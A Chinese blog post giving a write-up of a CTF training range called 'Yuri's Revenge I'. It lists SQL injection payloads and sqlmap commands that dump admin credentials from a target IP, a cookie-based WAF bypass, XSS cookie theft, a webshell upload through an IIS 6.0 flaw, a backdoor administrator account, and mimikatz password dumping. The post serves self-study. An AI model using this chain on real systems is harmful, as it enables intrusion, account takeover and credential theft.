封神台 -尤里的复仇Ⅰ write up 夜车星繁的博客

原创

夜车星繁 于 2020-04-09 21:08:43 发布 792 收藏
分类专栏： ctf

本文链接：https://blog.csdn.net/weixin_44740377/article/details/105399042

无意间知道了这个靶场，可作为复习用，就将它安排进了复习计划里，在此篇博客写下记录留作未来回顾用。因为有了点基础在此写下payload只保证自己可以看得懂。

第一章：为了女神小芳！

```
?id=1 and 1=1 ------ 显示正常
?id=1 and 1=2 ------ 不显示
?id=1 order by 2 ------查询了两列
?id=100 select 1,2 ------将id设为一个不存在的数，看显示位
?id=132321 union select 1,version() %23------看数据库版本
?id=132321 union select 1,database() %23---当前数据库名
```

```
#得到表名   ?id=132321 union select 1,group_concat(table_name) from
information_schema.tables where table_schema=database() %23

#得字段名   ?id=132321 union select 1,group_concat(column_name) from information_schema.columns where table_

#用户名 ?id=132321 union select 1,group_concat(username) from admin %23

#密码   ?id=132321 union select 1,group_concat(password) from admin %23
```

第二章：遇到阻难！绕过WAF过滤！

访问时，把地址栏的 " ?id=XXX" 去掉。

```
id=171 order by 10
id=1455541+union+select+1,2,3,4,5,6,7,8,9,10+from+admin （+号代替空格，不然会出错）

id=14551+union+select+1,username,password,4,5,6,7,8,9,10+from+admin
```

插件:modify headers

sqlmap:

```
sqlmap -u "http://120.203.13.75:8001/shownews.asp?" --cookie "id=171" --table --level 2

sqlmap -u "http://120.203.13.75:8001/shownews.asp?" --cookie "id=171" --column -T admin --level 2

sqlmap -u "http://120.203.13.75:8001/shownews.asp?" --cookie "id=171"  --dump  -T admin -C "username,passwo
```

第三章：这个后台能识别登录者...

抓包修改host值与refer值（本人遇到浏览器x-frame-option拦截，此题暂置）

第四章：为了更多的权限！留言板！！

使用XSS平台从页面获取到cookie内容可看flag字段

第五章：进击！拿到Web最高权限！

上传php木马用菜刀连接回显IIS中间件相关信息（IIS 6.0）；存在IIS解析漏洞

第六章：SYSTEM！POWER！

```
iis6.exe "whoami"
iis6.exe "net user punisher punisher /add"
iis6.exe "net localgroup Administrators punisher /add"
```

第七章：GET THE PASS！

```
privilege::debuug ----提升权限
sekurlsa::logonPasswords----获取登陆用户密码
```